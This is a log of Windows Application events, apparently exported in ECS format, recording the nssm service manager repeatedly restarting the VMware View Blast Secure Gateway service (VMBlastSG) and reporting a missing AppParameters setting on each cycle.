{"@timestamp":1646797763629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164703}}
{"@timestamp":1646797763629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164704}}
{"@timestamp":1646797763630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164705}}
{"@timestamp":1646797763631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164706}}
{"@timestamp":1646797892110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164707}}
{"@timestamp":1646797892110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164708}}
{"@timestamp":1646797892111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160204","0"]}}},"module":"Application","provider":"nssm","sequence":164709}}
{"@timestamp":1646797892111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160204","160204","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164710}}
{"@timestamp":1646797892128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164711}}
{"@timestamp":1646797892129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164712}}
{"@timestamp":1646797892129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164713}}
{"@timestamp":1646797892130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164714}}
{"@timestamp":1646798020618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164715}}
{"@timestamp":1646798020618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164716}}
{"@timestamp":1646798020620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161040","0"]}}},"module":"Application","provider":"nssm","sequence":164717}}
{"@timestamp":1646798020621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161040","161040","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164718}}
{"@timestamp":1646798020638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161036","0"]}}},"module":"Application","provider":"nssm","sequence":164719}}
{"@timestamp":1646798020642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161036","161040","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164720}}
{"@timestamp":1646798020657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164721}}
{"@timestamp":1646798020658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164722}}
{"@timestamp":1646798020658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164723}}
{"@timestamp":1646798020659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164724}}
{"@timestamp":1646798149148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164725}}
{"@timestamp":1646798149150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164726}}
{"@timestamp":1646798149151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160236","0"]}}},"module":"Application","provider":"nssm","sequence":164727}}
{"@timestamp":1646798149151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160236","160236","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164728}}
{"@timestamp":1646798149167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164729}}
{"@timestamp":1646798149168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164730}}
{"@timestamp":1646798149168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164731}}
{"@timestamp":1646798149169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164732}}
{"@timestamp":1646798277662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164733}}
{"@timestamp":1646798277663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164734}}
{"@timestamp":1646798277664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161212","0"]}}},"module":"Application","provider":"nssm","sequence":164735}}
{"@timestamp":1646798277664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161212","161212","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164736}}
{"@timestamp":1646798277681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164737}}
{"@timestamp":1646798277682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164738}}
{"@timestamp":1646798277682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164739}}
{"@timestamp":1646798277683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164740}}
{"@timestamp":1646798406234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164741}}
{"@timestamp":1646798406235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164742}}
{"@timestamp":1646798406235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160676","0"]}}},"module":"Application","provider":"nssm","sequence":164743}}
{"@timestamp":1646798406237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160676","160676","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164744}}
{"@timestamp":1646798406255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164745}}
{"@timestamp":1646798406255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164746}}
{"@timestamp":1646798406256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164747}}
{"@timestamp":1646798406257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164748}}
{"@timestamp":1646798534759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164749}}
{"@timestamp":1646798534761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164750}}
{"@timestamp":1646798534763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159412","0"]}}},"module":"Application","provider":"nssm","sequence":164751}}
{"@timestamp":1646798534763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159412","159412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164752}}
{"@timestamp":1646798534780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164753}}
{"@timestamp":1646798534781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164754}}
{"@timestamp":1646798534781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164755}}
{"@timestamp":1646798534782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164756}}
{"@timestamp":1646798663285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164757}}
{"@timestamp":1646798663285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164758}}
{"@timestamp":1646798663286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157872","0"]}}},"module":"Application","provider":"nssm","sequence":164759}}
{"@timestamp":1646798663286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157872","157872","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164760}}
{"@timestamp":1646798663303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164761}}
{"@timestamp":1646798663304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164762}}
{"@timestamp":1646798663304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164763}}
{"@timestamp":1646798663305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164764}}
{"@timestamp":1646798791790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164765}}
{"@timestamp":1646798791793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164766}}
{"@timestamp":1646798791793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159772","0"]}}},"module":"Application","provider":"nssm","sequence":164767}}
{"@timestamp":1646798791794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159772","159772","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164768}}
{"@timestamp":1646798791811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164769}}
{"@timestamp":1646798791811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164770}}
{"@timestamp":1646798791812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164771}}
{"@timestamp":1646798791812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164772}}
{"@timestamp":1646798920328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164773}}
{"@timestamp":1646798920330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164774}}
{"@timestamp":1646798920331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161124","0"]}}},"module":"Application","provider":"nssm","sequence":164775}}
{"@timestamp":1646798920331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161124","161124","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164776}}
{"@timestamp":1646798920349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164777}}
{"@timestamp":1646798920349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164778}}
{"@timestamp":1646798920350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164779}}
{"@timestamp":1646798920351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164780}}
{"@timestamp":1646799048820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164781}}
{"@timestamp":1646799048821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164782}}
{"@timestamp":1646799048821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162180","0"]}}},"module":"Application","provider":"nssm","sequence":164783}}
{"@timestamp":1646799048822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162180","162180","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164784}}
{"@timestamp":1646799048841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164785}}
{"@timestamp":1646799048842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164786}}
{"@timestamp":1646799048842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164787}}
{"@timestamp":1646799048843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164788}}
{"@timestamp":1646799177325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164789}}
{"@timestamp":1646799177325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164790}}
{"@timestamp":1646799177326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162768","0"]}}},"module":"Application","provider":"nssm","sequence":164791}}
{"@timestamp":1646799177326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162768","162768","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164792}}
{"@timestamp":1646799177343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164793}}
{"@timestamp":1646799177344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164794}}
{"@timestamp":1646799177344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164795}}
{"@timestamp":1646799177345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164796}}
{"@timestamp":1646799306073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164797}}
{"@timestamp":1646799306074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164798}}
{"@timestamp":1646799306074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162268","0"]}}},"module":"Application","provider":"nssm","sequence":164799}}
{"@timestamp":1646799306075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162268","162268","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164800}}
{"@timestamp":1646799306092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162264","0"]}}},"module":"Application","provider":"nssm","sequence":164801}}
{"@timestamp":1646799306093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162264","162268","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164802}}
{"@timestamp":1646799306110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164803}}
{"@timestamp":1646799306111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164804}}
{"@timestamp":1646799306111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164805}}
{"@timestamp":1646799306112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164806}}
{"@timestamp":1646799434608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164807}}
